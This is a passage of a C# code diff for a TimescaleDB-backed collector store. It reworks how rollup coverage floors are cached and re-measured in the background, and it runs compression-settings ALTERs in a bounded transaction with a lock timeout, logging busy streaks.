+                        moved[views[i]] = reader.GetDateTime(i);
+                    }
+                }
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            moved.Clear();
+            _ = ex;
+        }
+
+        return moved;
+    }
+
+    /// <summary>
+    /// #4957: writes one coverage cycle's result into a store's cache, touching only what that cycle measured. A view
+    /// measured this cycle gets its new entry, or none when it came back empty; a view whose rollup is gone is
+    /// dropped; every other view is left as the cache holds it NOW. The cycle's <see cref="MergeRollupFloors"/> result
+    /// was computed from a snapshot taken before the (slow) measure, so overwriting the whole cache with it would
+    /// let a cycle that started earlier undo a newer measurement of a view this cycle did not measure, made meanwhile
+    /// by another data source or by the background re-measure. For a view both cycles measured, the last writer still
+    /// wins.
+    /// </summary>
+    internal static void ApplyRollupFloorMeasurements(
+        Dictionary<string, RollupFloorCacheEntry> cache,
+        IReadOnlyDictionary<string, DateTime?> measuredThisCycle,
+        IReadOnlyDictionary<string, RollupFloorCacheEntry> newEntries,
+        RollupAvailability availability)
+    {
+        foreach (var view in measuredThisCycle.Keys)
+        {
+            if (newEntries.TryGetValue(view, out var entry))
+            {
+                cache[view] = entry;
+            }
+            else
+            {
+                cache.Remove(view);
+            }
+        }
+
+        foreach (var view in cache.Keys.Where(v => !availability.Has(v)).ToArray())
+        {
+            cache.Remove(view);
+        }
+    }
+
+    /// <summary>
+    /// #4957: starts the store's ONE background re-measure for the views <paramref name="due"/> only by age.
+    /// Does nothing while one is already running, and nothing when the cache's CURRENT entries show another call
+    /// already refreshed them (the planner read a snapshot from before that landed), so callers that arrive together
+    /// start one between them. The re-measure runs the same cycle with the age deferral off, on
+    /// <see cref="CancellationToken.None"/> (no caller owns it), and swallows every failure: the cached entries stay
+    /// and the next caller that finds them due tries again.
+    /// </summary>
+    private static void StartRollupRemeasure(
+        NpgsqlDataSource dataSource, RollupFloorCache cache, RollupAvailability availability, IReadOnlySet<string> due, DateTime now)
+    {
+        lock (cache.Lock)
+        {
+            if (cache.Remeasure is { IsCompleted: false })
+            {
+                return;
+            }
+
+            if (!due.Any(view => cache.ByView.TryGetValue(view, out var entry) && now - entry.MeasuredAtUtc >= RollupFloorMaxReuse))
+            {
+                return;
+            }
+
+            cache.Remeasure = Task.Run(async () =>
+            {
+                try
+                {
+                    await MeasureRollupCoverageAsync(dataSource, availability, now, deferPastTheHour: false, CancellationToken.None);
+                }
+                catch (Exception ex)
+                {
+                    /* A failed re-measure leaves the cached floors in place; the next caller retries. */
+                    _ = ex;
+                }
+            });
+        }
     }
 
     /// <summary>
@@ -9419,9 +10466,11 @@ internal static IReadOnlySet<string> RollupFloorsToMeasure(
     /// and its cached floor is carried forward unchanged — UNLESS the rollup itself is no longer present, in
     /// which case its stale entry is dropped rather than carried forward.
     ///
-    /// <para>The returned <c>NewCacheEntries</c> is the COMPLETE replacement for the cache's <c>ByView</c> —
-    /// the caller must overwrite, not merge, or an evicted view's stale entry would survive under whatever key
-    /// this function chose not to re-emit.</para>
+    /// <para>The returned <c>NewCacheEntries</c> is the COMPLETE replacement for the snapshot <c>cached</c> was
+    /// taken from. #4957: the cache itself is written through <see cref="ApplyRollupFloorMeasurements"/>, which
+    /// applies it for the views this cycle measured (an evicted view is removed, not left to survive) and leaves
+    /// the rest as the cache holds them now, so a slower cycle cannot undo a newer measurement of a view it did not
+    /// measure.</para>
     /// </summary>
     internal static (IReadOnlyDictionary<string, DateTime> Floors, IReadOnlyDictionary<string, RollupFloorCacheEntry> NewCacheEntries) MergeRollupFloors(
         IReadOnlyDictionary<string, DateTime?> measuredThisCycle,
@@ -9458,7 +10507,7 @@ internal static (IReadOnlyDictionary<string, DateTime> Floors, IReadOnlyDictiona
                     DateTime? ceiling = ceilingsMeasuredThisCycle is not null && ceilingsMeasuredThisCycle.TryGetValue(view, out var freshCeiling)
                         ? freshCeiling
                         : null;
-                    newEntries[view] = new RollupFloorCacheEntry(identity.ChunkName, identity.MaterializationHypertable, floor, now, ceiling);
+                    newEntries[view] = new RollupFloorCacheEntry(identity.ChunkName, identity.MaterializationHypertable, floor, now, ceiling, identity.DatabaseOid);
                 }
             }
 
@@ -9507,7 +10556,12 @@ internal static (IReadOnlyDictionary<string, DateTime> Floors, IReadOnlyDictiona
     /// (<see cref="RollupOldestChunkSql"/>) decides which rollups actually need that sort re-run; the rest
     /// reuse their last-measured floor. A reused floor can only be LATER than the true one (an older backfill
     /// landing in the same chunk moves the true floor earlier, never later), which is the conservative
-    /// direction for routing — it can never claim coverage a rollup does not actually have. A failed catalog
+    /// direction for routing — it can never claim coverage a rollup does not actually have. <b>#5329: it is also
+    /// not left that way.</b> Every probe asks each reused view one bounded question, "is any bucket earlier than the
+    /// floor I hold?" (<see cref="RollupEarlierFloorProbeSql"/>), because a fill of earlier buckets (the refresh
+    /// policy catching up on a new rollup, or <c>--backfill-rollups</c> in another process) usually lands in the
+    /// chunk the cache already knows and moves neither identity; the next probe after the fill reports the new floor
+    /// instead of the hour-old one. A failed catalog
     /// read (a plain-PostgreSQL store, or any other failure) falls back to measuring every present rollup, the
     /// same as before this cache existed.</para>
     /// </summary>
@@ -9520,22 +10574,31 @@ public static Task<RollupCoverage> DetectRollupCoverageAsync(
     /// measured against injectable for the TTL check (<see cref="RollupFloorMaxReuse"/>) rather than always
     /// reading <see cref="DateTime.UtcNow"/> — so a live test can force a TTL expiry without sleeping an hour.
     /// </summary>
-    internal static async Task<RollupCoverage> DetectRollupCoverageAsync(
+    internal static Task<RollupCoverage> DetectRollupCoverageAsync(
         NpgsqlDataSource dataSource, RollupAvailability availability, DateTime now, CancellationToken cancellationToken = default)
+        => MeasureRollupCoverageAsync(dataSource, availability, now, deferPastTheHour: true, cancellationToken);
+
+    /// <summary>
+    /// The coverage cycle behind <see cref="DetectRollupCoverageAsync(NpgsqlDataSource, RollupAvailability, CancellationToken)"/>.
+    /// <paramref name="deferPastTheHour"/> (#4957) is true for a caller: a view whose cached floor is OLDER than
+    /// <see cref="RollupFloorMaxReuse"/> but younger than <see cref="RollupFloorMaxServeAge"/> (its oldest chunk,
+    /// materialization hypertable and database are unchanged) keeps its cached floor for this call and is re-measured
+    /// by one background cycle for the store. One <see cref="RollupFloorMaxServeAge"/> old or older is measured by this
+    /// call either way. It is false for that background cycle itself, which measures every due view.
+    /// </summary>
+    private static async Task<RollupCoverage> MeasureRollupCoverageAsync(
+        NpgsqlDataSource dataSource, RollupAvailability availability, DateTime now, bool deferPastTheHour, CancellationToken cancellationToken)
     {
         if (dataSource is null)
         {
             throw new ArgumentNullException(nameof(dataSource));
         }
 
-        var cache = RollupFloorCaches.GetOrCreateValue(dataSource);
+        var cache = RollupFloorCaches.GetOrAdd(RollupStoreKey(dataSource), static _ => new RollupFloorCache());
         HashSet<string>? measure = null;
+        HashSet<string>? due = null;
         Dictionary<string, RollupChunkIdentity>? oldestNow = null;
-        Dictionary<string, RollupFloorCacheEntry> cachedSnapshot;
-        lock (cache.Lock)
-        {
-            cachedSnapshot = new Dictionary<string, RollupFloorCacheEntry>(cache.ByView, StringComparer.Ordinal);
-        }
+        var cachedSnapshot = new Dictionary<string, RollupFloorCacheEntry>(StringComparer.Ordinal);
 
         var oldestChunkSql = RollupOldestChunkSql(availability);
         if (oldestChunkSql is not null)
@@ -9551,10 +10614,25 @@ internal static async Task<RollupCoverage> DetectRollupCoverageAsync(
                     var view = chunkReader.GetString(0);
                     var chunkName = await chunkReader.IsDBNullAsync(1, cancellationToken) ? null : chunkReader.GetString(1);
                     var materializationHypertable = await chunkReader.IsDBNullAsync(3, cancellationToken) ? null : chunkReader.GetString(3);
-                    chunksNow[view] = new RollupChunkIdentity(chunkName, materializationHypertable);
+                    var databaseOid = await chunkReader.IsDBNullAsync(4, cancellationToken) ? 0L : chunkReader.GetInt64(4);
+                    chunksNow[view] = new RollupChunkIdentity(chunkName, materializationHypertable, databaseOid);
+                }
+
+                lock (cache.Lock)
+                {
+                    cachedSnapshot = new Dictionary<string, RollupFloorCacheEntry>(cache.ByView, StringComparer.Ordinal);
                 }
 
-                var toMeasure = new HashSet<string>(RollupFloorsToMeasure(cachedSnapshot, chunksNow, availability, now), StringComparer.Ordinal);
+                var plan = PlanRollupFloorMeasurements(cachedSnapshot, chunksNow, availability, now);
+                var toMeasure = new HashSet<string>(plan.Inline, StringComparer.Ordinal);
+                if (deferPastTheHour)
+                {
+                    due = new HashSet<string>(plan.Background, StringComparer.Ordinal);
+                }
+                else
+                {
+                    toMeasure.UnionWith(plan.Background);
+                }
 
                 /* Every present view this catalog read never saw (should not happen, but a partial read from a
                    mid-build store is exactly what #1664 exists to tolerate) is measured too — the safe default
@@ -9574,9 +10652,21 @@ when this cache has no evidence either way. */
             {
                 measure = null;
                 oldestNow = null;
+                due = null;
             }
         }
 
+        /* #5329: a view whose cached floor is trusted can still have an EARLIER true floor, because a fill of earlier
+           buckets usually lands in the chunk the cache already knows. One bounded read per view, answered from chunk
+           constraints and batch metadata, finds it; the answer is the new floor. */
+        var movedEarlier = measure is not null && oldestNow is not null
+            ? await ReadEarlierRollupFloorsAsync(
+                dataSource,
+                RollupViewsToCheckForAnEarlierFloor(cachedSnapshot, oldestNow, availability, measure, due),
+                cachedSnapshot,
+                cancellationToken)
+            : new Dictionary<string, DateTime>(StringComparer.Ordinal);
+
         await using var command = dataSource.CreateCommand(RollupCoverageProbeSql(availability, measure));
         command.CommandTimeout = JobCatalogReadTimeoutSeconds;
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -9617,6 +10707,12 @@ when this cache has no evidence either way. */
         for (var i = 0; i < RollupViews.Length; i++)
         {
             var view = RollupViews[i].View;
+            if (movedEarlier.TryGetValue(view, out var earlierFloor))
+            {
+                measuredThisCycle[view] = earlierFloor;
+                continue;
+            }
+
             if (!measure.Contains(view))
             {
                 continue;
@@ -9644,11 +10740,7 @@ when this cache has no evidence either way. */
 
         lock (cache.Lock)
         {
-            cache.ByView.Clear();
-            foreach (var (view, entry) in newEntries)
-            {
-                cache.ByView[view] = entry;
-            }
+            ApplyRollupFloorMeasurements(cache.ByView, measuredThisCycle, newEntries, availability);
         }
 
         var ceilings = new Dictionary<string, DateTime>(StringComparer.Ordinal);
@@ -9660,6 +10752,12 @@ when this cache has no evidence either way. */
             }
         }
 
+        if (due is { Count: > 0 })
+        {
+            /* #4957: these floors were served from the cache; the store's one background re-measure replaces them. */
+            StartRollupRemeasure(dataSource, cache, availability, due, now);
+        }
+
         return new RollupCoverage(floors, rawOldest, availability, ceilings);
     }
 
@@ -9727,14 +10825,167 @@ public static async Task<int> ConvertToHypertablesAsync(NpgsqlConnection connect
         return converted;
     }
 
+    /// <summary>
+    /// How long a bounded DDL statement waits for its lock on the hourly pass before it gives up (#4970). Set with
+    /// <c>SET LOCAL</c> inside the statement's own transaction, so it never outlives the statement it guards.
+    /// </summary>
+    internal const string HourlyDdlLockTimeout = "3s";
+
+    /// <summary>Consecutive busy results per object across hourly passes; process lifetime. Tests reset it.</summary>
+    internal static readonly BoundedDdlBusyStreaks BusyStreaks = new();
+
+    /// <summary>What <see cref="TryRunBoundedDdlAsync"/> did.</summary>
+    internal enum BoundedDdlOutcome
+    {
+        /// <summary>Every statement ran and the transaction committed.</summary>
+        Applied,
+
+        /// <summary>Another session held the table past <see cref="HourlyDdlLockTimeout"/>; nothing changed.</summary>
+        LockBusy,
+
+        /// <summary>A statement failed for another reason and the transaction rolled back; nothing changed.</summary>
+        Failed,
+
+        /// <summary>The statement ran into its client timeout and rolled back; nothing changed. Returned only to a caller that
+        /// asked for it (<c>distinguishTimeoutAndMissing</c>), who gives a statement a long timeout and wants to know it was the
+        /// cap; every other caller keeps getting <see cref="Failed"/>.</summary>
+        TimedOut,
+
+        /// <summary>The relation the statement named is gone (42P01), and nothing changed. Returned only to a caller that asked
+        /// for it (<c>distinguishTimeoutAndMissing</c>); it costs a Debug line, not a Warning.</summary>
+        RelationMissing,
+    }
+
+    /// <summary>
+    /// Runs DDL that takes an AccessExclusiveLock (the compression-settings ALTER on a hypertable or a continuous
+    /// aggregate) without letting it queue indefinitely. The statements run in ONE explicit transaction behind
+    /// <c>SET LOCAL lock_timeout</c> (<see cref="HourlyDdlLockTimeout"/>), because <c>SET LOCAL</c> outside a
+    /// transaction is a no-op and a waiting AccessExclusiveLock request holds up every collector write to the
+    /// table behind it. A busy lock (<c>55P03</c>) costs one Information line and the next hourly pass tries again;
+    /// the same <paramref name="what"/> busy <see cref="BoundedDdlBusyStreaks.EscalateAfter"/> passes in a row also
+    /// costs ONE Warning (a store that never converges must not stay at Information), and the Information line
+    /// that follows its eventual success says how long it was busy. Any other failure rolls back and costs one
+    /// Warning and clears the streak. Neither throws, so the caller keeps its per-table
+    /// isolation; cancellation still propagates.
+    /// </summary>
+    internal static Task<BoundedDdlOutcome> TryRunBoundedDdlAsync(
+        NpgsqlConnection connection, IReadOnlyList<string> statements, ILogger? logger, string what, CancellationToken cancellationToken)
+        => TryRunBoundedDdlAsync(
+            connection,
+            async transaction =>
+            {
+                foreach (var statement in statements)
+                {
+                    using var command = new NpgsqlCommand(statement, connection, transaction) { CommandTimeout = SetupTimeoutSeconds };
+                    await command.ExecuteNonQueryAsync(cancellationToken);
+                }
+            },
+            logger, what, cancellationToken);
+
+    /// <summary>
+    /// <see cref="TryRunBoundedDdlAsync(NpgsqlConnection, IReadOnlyList{string}, ILogger, string, CancellationToken)"/>
+    /// for a body that needs a statement's result (#5574: the chunk re-group counts its rows between the decompress and
+    /// the compress). <paramref name="body"/> runs in the same transaction, behind the same <c>SET LOCAL
+    /// lock_timeout</c>, and the same outcomes and log lines apply. The list overload is this one with a loop for a body.
+    /// </summary>
+    internal static async Task<BoundedDdlOutcome> TryRunBoundedDdlAsync(
+        NpgsqlConnection connection, Func<NpgsqlTransaction, Task> body, ILogger? logger, string what, CancellationToken cancellationToken,
+        bool recordBusyStreak = true, bool distinguishTimeoutAndMissing = false)
+    {
+        try
+        {
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+            using (var timeout = new NpgsqlCommand($"SET LOCAL lock_timeout = '{HourlyDdlLockTimeout}'", connection, transaction) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await timeout.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            await body(transaction);
+
+            await transaction.CommitAsync(cancellationToken);
+            if (BusyStreaks.Clear(what, out var busyPasses))
+            {
+                logger?.LogInformation(
+                    "TimescaleDB: {What} changed after {Passes} busy passes in a row; the table is no longer held",
+                    what, busyPasses);
+            }
+
+            return BoundedDdlOutcome.Applied;
+        }
+        catch (PostgresException ex) when (string.Equals(ex.SqlState, PostgresErrorCodes.LockNotAvailable, StringComparison.Ordinal))
+        {
+            logger?.LogInformation(
+                "TimescaleDB: {What} not changed this pass: another session held the table for {Timeout}, and waiting longer would hold up every collector's writes to it; the next hourly pass tries again",
+                what, HourlyDdlLockTimeout);
+            var now = DateTime.UtcNow;
+
+            /* #5574: the compress half's in-call retries (three tries inside ten seconds) are not "passes", and counting
+               them would add a "busy for 3 passes in a row" Warning to the one the half logs itself. */
+            if (recordBusyStreak && BusyStreaks.RecordBusy(what, now, out var passes, out var firstBusyUtc))
+            {
+                logger?.LogWarning(
+                    "TimescaleDB: {What} has been busy for {Passes} passes in a row, since {Since:u} UTC ({Elapsed} ago); its settings stay as they are until another session releases the table",
+                    what, passes, firstBusyUtc, now - firstBusyUtc);
+            }
+
+            return BoundedDdlOutcome.LockBusy;
+        }
+        catch (PostgresException ex) when (distinguishTimeoutAndMissing
+            && string.Equals(ex.SqlState, PostgresErrorCodes.UndefinedTable, StringComparison.Ordinal))
+        {
+            /* #5574: probably a chunk dropped (retention) between the candidates read and the statement; the caller re-reads the
+               chunk catalog to tell (ResolveMissingRelationAsync), because a chunk that still exists is a failure. */
+            BusyStreaks.Clear(what, out _);
+            logger?.LogDebug("TimescaleDB: {What} stopped: the server reported that a relation does not exist ({Message})", what, ex.Message);
+            return BoundedDdlOutcome.RelationMissing;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            BusyStreaks.Clear(what, out _);
+            logger?.LogWarning(
+                "TimescaleDB: {What} could not be changed, so the change was rolled back and the table keeps its current settings: {Message}",
+                what, ex.Message);
+            return distinguishTimeoutAndMissing && IsStatementTimeout(ex, cancellationToken)
+                ? BoundedDdlOutcome.TimedOut
+                : BoundedDdlOutcome.Failed;
+        }
+    }
+
+    /// <summary>
+    /// Whether <paramref name="ex"/> is a statement that ran into its client <c>CommandTimeout</c> (and not the caller's
+    /// cancellation): Npgsql reports it as a <see cref="TimeoutException"/> (itself or inside an <see cref="NpgsqlException"/>),
+    /// or as the server's query-cancelled error (57014) its cancel request caused.
+    /// </summary>
+    internal static bool IsStatementTimeout(Exception ex, CancellationToken cancellationToken) =>
+        !cancellationToken.IsCancellationRequested
+        && (ex is TimeoutException
+            || ex.InnerException is TimeoutException
+            || (ex is PostgresException { SqlState: PostgresErrorCodes.QueryCanceled }));
+
     /// <summary>
     /// Enables compression and adds the <see cref="CompressAfterDays"/>-day background policy on
     /// every collector table (both statements per table, failure-isolated per table — a table
     /// that failed hypertable conversion warns here too and stays uncompressed). Compressed
     /// chunks remain fully queryable: this is Darling's archival tier (see
     /// <see cref="CompressAfterDays"/>). Returns the number of tables with a policy in place.
+    ///
+    /// <para>The enable ALTER runs through <see cref="TryRunBoundedDdlAsync"/>: it takes an AccessExclusiveLock,
+    /// so behind a long reader it gives up after <see cref="HourlyDdlLockTimeout"/> instead of queueing every
+    /// collector write to the table. A table whose ALTER was busy or failed is not counted and gets no policy
+    /// call this pass; the next hourly pass retries. The policy call stays outside that transaction: it takes no
+    /// exclusive lock on the hypertable.</para>
+    ///
+    /// <para><paramref name="hourly"/> is true on the hourly store-maintenance pass, which runs beside live
+    /// collection, and false on the start path, where no collection runs. When the settings read fails
+    /// (<see cref="ReadTablesNeedingCompressionEnableAsync"/> returns <c>null</c>) the start path issues every
+    /// enable ALTER, bounded, so a store that cannot answer one catalog query still converges; the hourly pass
+    /// skips the enable ALTERs with one Warning and the next hourly pass reads again.</para>
     /// </summary>
-    public static async Task<int> ApplyCompressionPolicyAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
+    public static Task<int> ApplyCompressionPolicyAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default) =>
+        ApplyCompressionPolicyAsync(connection, logger, hourly: false, cancellationToken);
+
+    /// <inheritdoc cref="ApplyCompressionPolicyAsync(NpgsqlConnection, ILogger, CancellationToken)"/>
+    public static async Task<int> ApplyCompressionPolicyAsync(NpgsqlConnection connection, ILogger? logger, bool hourly, CancellationToken cancellationToken)
     {
         if (connection is null)
         {
@@ -9745,26 +10996,56 @@ public static async Task<int> ApplyCompressionPolicyAsync(NpgsqlConnection conne
            do not already carry it. The ALTER takes an AccessExclusiveLock even as a no-op (measured — see
            CompressionEnabledStateSql), which was free on the start path and is a lock convoy on the hourly
            tick at :30, in the same minute the collectors are COPYing into these tables. A null answer means
-           the read failed and every ALTER is issued, exactly as before the guard. */
+           the read failed: the start path then issues every ALTER (bounded), and the hourly pass issues none and skips the
+           policy calls too. */
         var converged = await ReadTablesNeedingCompressionEnableAsync(connection, logger, cancellationToken);
         var enabledAlready = 0;
+        var skipEnable = hourly && converged is null;
+        if (skipEnable)
+        {
+            logger?.LogWarning(
+                "TimescaleDB: the compression settings read failed; skipping the compression-enable ALTERs and the compression-policy calls this pass; the next hourly pass retries");
+        }
 
         var applied = 0;
         foreach (var schema in HypertableTables)
         {
             try
             {
-                /* The POLICY half still runs unconditionally: add_compression_policy's if_not_exists returns
-                   -1 against an existing policy and takes no exclusive lock on the hypertable, so it is
-                   idempotent in cost as well as in effect. Only the ALTER needed guarding. */
+                /* After a failed settings read on the hourly pass the policy call is skipped with the ALTER: a
+                   converged table's call is a no-op returning -1, a table without compression fails it anyway
+                   (one "Compression policy failed" Warning per table per hour for as long as the read keeps
+                   failing), and the next pass after a good read does both. The read-failed Warning above is
+                   the one line this pass logs. */
+                if (skipEnable)
+                {
+                    continue;
+                }
+
+                /* The POLICY half otherwise runs unconditionally: add_compression_policy's if_not_exists
+                   returns -1 against an existing policy and takes no exclusive lock on the hypertable, so it
+                   is idempotent in cost as well as in effect. Only the ALTER needed guarding. */
                 if (converged is not null && converged.Contains(schema.TargetTable))
                 {
                     enabledAlready++;
                 }
+                else if (!string.Equals(CompressionSegmentByFor(schema.TargetTable), CompressionSegmentByColumn, StringComparison.Ordinal)
+                    && await SettingsChangeBlockedAsync(connection, schema.TargetTable, logger, cancellationToken))
+                {
+                    /* #5574: a table with a grouping of its own (perfmon_stats) on a TimescaleDB that cannot change the
+                       settings while compressed chunks exist keeps compressing under the ones it has, exactly as
+                       collection_log does (#4951); the policy call below still runs. The other tables all want plain
+                       server_id, so they skip this read and attempt the ALTER as before. */
+                }
                 else
                 {
-                    using var enable = new NpgsqlCommand(EnableCompressionSql(schema), connection) { CommandTimeout = SetupTimeoutSeconds };
-                    await enable.ExecuteNonQueryAsync(cancellationToken);
+                    var outcome = await TryRunBoundedDdlAsync(
+                        connection, new[] { EnableCompressionSql(schema) }, logger,
+                        $"compression settings on collect.{schema.TargetTable}", cancellationToken);
+                    if (outcome != BoundedDdlOutcome.Applied)
+                    {
+                        continue;
+                    }
                 }
 
                 using (var policy = new NpgsqlCommand(AddCompressionPolicySql(schema), connection) { CommandTimeout = SetupTimeoutSeconds })
@@ -9823,7 +11104,7 @@ idempotent in cost as well as in effect. Only the ALTER needed guarding. */
     h.hypertable_name,
     h.compression_enabled,
     (
-        SELECT string_agg(cs.attname, ',' ORDER BY cs.segmentby_column_index)
+        SELECT string_agg(cs.attname, ', ' ORDER BY cs.segmentby_column_index)
         FROM timescaledb_information.compression_settings AS cs
         WHERE cs.hypertable_schema = h.hypertable_schema
         AND   cs.hypertable_name = h.hypertable_name
@@ -9833,11 +11114,12 @@ FROM timescaledb_information.hypertables AS h
 WHERE h.hypertable_schema = 'collect'";
 
     /// <summary>
-    /// Every <c>collect</c> hypertable that does NOT already have compression enabled with exactly
-    /// <see cref="CompressionSegmentByColumn"/> as its segmentby — the set the enable ALTER must be issued
-    /// for, and nothing else (#3817). A table absent from the read (not a hypertable yet, or a catalog too
-    /// old for the view) is treated as NEEDING the ALTER: the conservative direction, because the cost of a
-    /// needless ALTER is one lock and the cost of a skipped one is a table that never compresses.
+    /// Every <c>collect</c> hypertable that ALREADY has compression enabled with exactly the segmentby
+    /// <see cref="CompressionSegmentByFor"/> gives it — the CONVERGED set, whatever the name says: the enable
+    /// ALTER is issued for every table NOT in it, and for nothing else (#3817). A table absent from the read
+    /// (not a hypertable yet, or a catalog too old for the view) is therefore treated as NEEDING the ALTER: the
+    /// conservative direction, because the cost of a needless ALTER is one lock and the cost of a skipped one is
+    /// a table that never compresses.
     ///
     /// <para>Failure-isolated to the same conservative answer: if the read throws, this returns <c>null</c>
     /// and the caller issues every ALTER exactly as it did before this guard existed. A store that cannot
@@ -9865,7 +11147,7 @@ FROM timescaledb_information.hypertables AS h
                 /* Both halves, or the ALTER still has to run: a store whose segmentby was changed out from
                    under this product (or created by an older build with a different one) must converge, which
                    is the whole reason this is a settings comparison and not a boolean. */
-                if (enabled && string.Equals(segmentBy, CompressionSegmentByColumn, StringComparison.Ordinal))
+                if (enabled && string.Equals(segmentBy, CompressionSegmentByFor(table), StringComparison.Ordinal))
                 {
                     converged.Add(table);
                 }
@@ -9876,7 +11158,7 @@ is the whole reason this is a settings comparison and not a boolean. */
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
             logger?.LogDebug(
-                "TimescaleDB: could not read the hypertables' compression settings, so this pass issues the compression-enable statement for every table as it did before the #3817 guard: {Message}",
+                "TimescaleDB: could not read the hypertables' compression settings, so the start path issues the compression-enable statement for every table (bounded) and the hourly pass issues none and skips the compression-policy calls: {Message}",
                 ex.Message);
             return null;
         }
@@ -10793,10 +12075,32 @@ JOIN timescaledb_information.dimensions AS d
     /// conversion, and this heals it. Same three statements the collector tables get, via the raw-name overloads
     /// (<see cref="CreateHypertableSql(string, string)"/>: <c>migrate_data</c> moves any existing rows into
     /// chunks — the proven non-transactional path, so no migration-transaction risk; compression segments by
-    /// <c>server_id</c> at <see cref="CompressAfterDays"/>). Idempotent (<c>if_not_exists</c>), so it re-converges
-    /// every restart and no-ops a store the V23 migration already converted. Failure-isolated: a failure warns and
-    /// collection_log stays a plain table — its DELETE-based retention (DarlingRetention) still honors the horizon.
-    /// The long <see cref="SetupTimeoutSeconds"/> command timeout covers a large first <c>migrate_data</c>.
+    /// <see cref="CollectionLogSegmentBy"/> at <see cref="CompressAfterDays"/>). Idempotent (<c>if_not_exists</c>),
+    /// so it re-converges every pass; on a table the V23 migration already converted, the conversion and the policy
+    /// are no-ops and only the settings change below can act. The long
+    /// <see cref="SetupTimeoutSeconds"/> command timeout covers a large first <c>migrate_data</c>.
+    ///
+    /// <para><b>The settings change (#4951).</b> A store converted before #4951 compresses by <c>server_id</c>
+    /// alone, and so does a table V23 converts, because V23's text keeps <c>server_id</c> (a migration is never
+    /// edited). V23's policy has no start time, so the scheduler runs it as soon as it is added. On a new store
+    /// that run finds an empty table, and this runs at the first start, before any row is old enough to compress.
+    /// On an upgrade where V23 converts existing rows, that run compresses the older chunks by <c>server_id</c>
+    /// before this runs, and they are old chunks like any upgraded store's.
+    /// The ALTER moves the hypertable to <see cref="CollectionLogSegmentBy"/>; every chunk already
+    /// compressed keeps the settings it was compressed with, and only chunks compressed from then on use the new
+    /// one, so no chunk is rewritten and the mix ages out with retention. The ALTER runs only when the settings
+    /// differ, in its own transaction, waiting at most <see cref="HourlyDdlLockTimeout"/> for its
+    /// lock (<see cref="TryRunBoundedDdlAsync"/>). Changing the settings while compressed chunks
+    /// exist needs TimescaleDB <see cref="CompressionSettingsChangeWithCompressedChunksFrom"/>; on an older store
+    /// with compressed chunks the ALTER is not attempted, and the table keeps compressing by <c>server_id</c> until
+    /// the extension is upgraded (<see cref="CollectionLogSettingsChangeBlockedAsync"/>).</para>
+    ///
+    /// <para>Failure-isolated step by step: a step that fails logs what it left unchanged, the pass returns
+    /// <c>false</c>, and the next pass tries again. A failed conversion leaves a plain table as it was, and its
+    /// DELETE-based retention (DarlingRetention) still honors the horizon. A settings change that fails for any
+    /// reason but a busy lock still lets the policy step run, because the table stays compressible under its current
+    /// setting and no other step adds a missing compression policy. A busy lock ends the pass before the policy
+    /// step, which could queue behind the same lock; the next pass does both.</para>
     /// </summary>
     public static async Task<bool> EnsureCollectionLogHypertableAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
     {
@@ -10807,39 +12111,597 @@ public static async Task<bool> EnsureCollectionLogHypertableAsync(NpgsqlConnecti
 
         try
         {
-            using (var convert = new NpgsqlCommand(CreateHypertableSql(CollectionLogTable, CollectionLogTimeColumn), connection) { CommandTimeout = SetupTimeoutSeconds })
+            using var convert = new NpgsqlCommand(CreateHypertableSql(CollectionLogTable, CollectionLogTimeColumn), connection) { CommandTimeout = SetupTimeoutSeconds };
+            await convert.ExecuteNonQueryAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning(
+                "collection_log could not be converted to a hypertable, so it keeps its current form (as a plain table, its DELETE-based retention still honors its horizon); the next pass tries again: {Message}",
+                ex.Message);
+            return false;
+        }
+
+        /* #3817: same guard as the collector sweep's, same reason — the enable ALTER takes an
+           AccessExclusiveLock even when it changes nothing (measured; CompressionEnabledStateSql carries
+           the measurement), and this method is now on the hourly tick rather than only the start path.
+           collection_log is written by every collector cycle, so the convoy applies to it as much as to
+           the collector tables. Its own read because this method takes no set from its caller; one row
+           back, and a null answer issues the ALTER exactly as before. */
+        var converged = await ReadTablesNeedingCompressionEnableAsync(connection, logger, cancellationToken);
+        var settingsFailed = false;
+        if (converged is null || !converged.Contains(CollectionLogTable))
+        {
+            if (!await CollectionLogSettingsChangeBlockedAsync(connection, logger, cancellationToken))
+            {
+                var outcome = await TryRunBoundedDdlAsync(
+                    connection, new[] { EnableCompressionSql(CollectionLogTable) }, logger,
+                    "collection_log's compression settings", cancellationToken);
+                switch (outcome)
+                {
+                    /* The table is busy, and the policy step could queue behind the same lock: the next pass does both. */
+                    case BoundedDdlOutcome.LockBusy:
+                        return false;
+
+                    /* The table keeps its current settings and stays compressible under them, so the policy step
+                       still runs; the pass reports the failure after it. */
+                    case BoundedDdlOutcome.Failed:
+                        settingsFailed = true;
+                        break;
+                }
+            }
+        }
+
+        try
+        {
+            using var policy = new NpgsqlCommand(AddCompressionPolicySql(CollectionLogTable), connection) { CommandTimeout = SetupTimeoutSeconds };
+            await policy.ExecuteNonQueryAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning(
+                "collection_log's compression policy could not be added; a policy that already exists keeps running, and the next pass tries again: {Message}",
+                ex.Message);
+            return false;
+        }
+
+        if (settingsFailed)
+        {
+            return false;
+        }
+
+        logger?.LogInformation("TimescaleDB: collection_log is a hypertable with a {Days}d compression policy", CompressAfterDays);
+        return true;
+    }
+
+    /// <summary>
+    /// The TimescaleDB release from which a hypertable's compression settings can change while compressed chunks
+    /// exist (#4951). The 2.14.0 release notes (2024-02-08, upstream #6513 and #6545): "Ability to change compression
+    /// settings on existing compressed hypertables at any time. New compression settings take effect on any new
+    /// chunks that are compressed after the change." Before it the ALTER is refused while any chunk is compressed.
+    /// Two parts on purpose: an <c>extversion</c> of <c>2.14</c> parses as <c>2.14</c>, which a three-part
+    /// <c>2.14.0</c> would rank below.
+    /// </summary>
+    public static readonly Version CompressionSettingsChangeWithCompressedChunksFrom = new(2, 14);
+
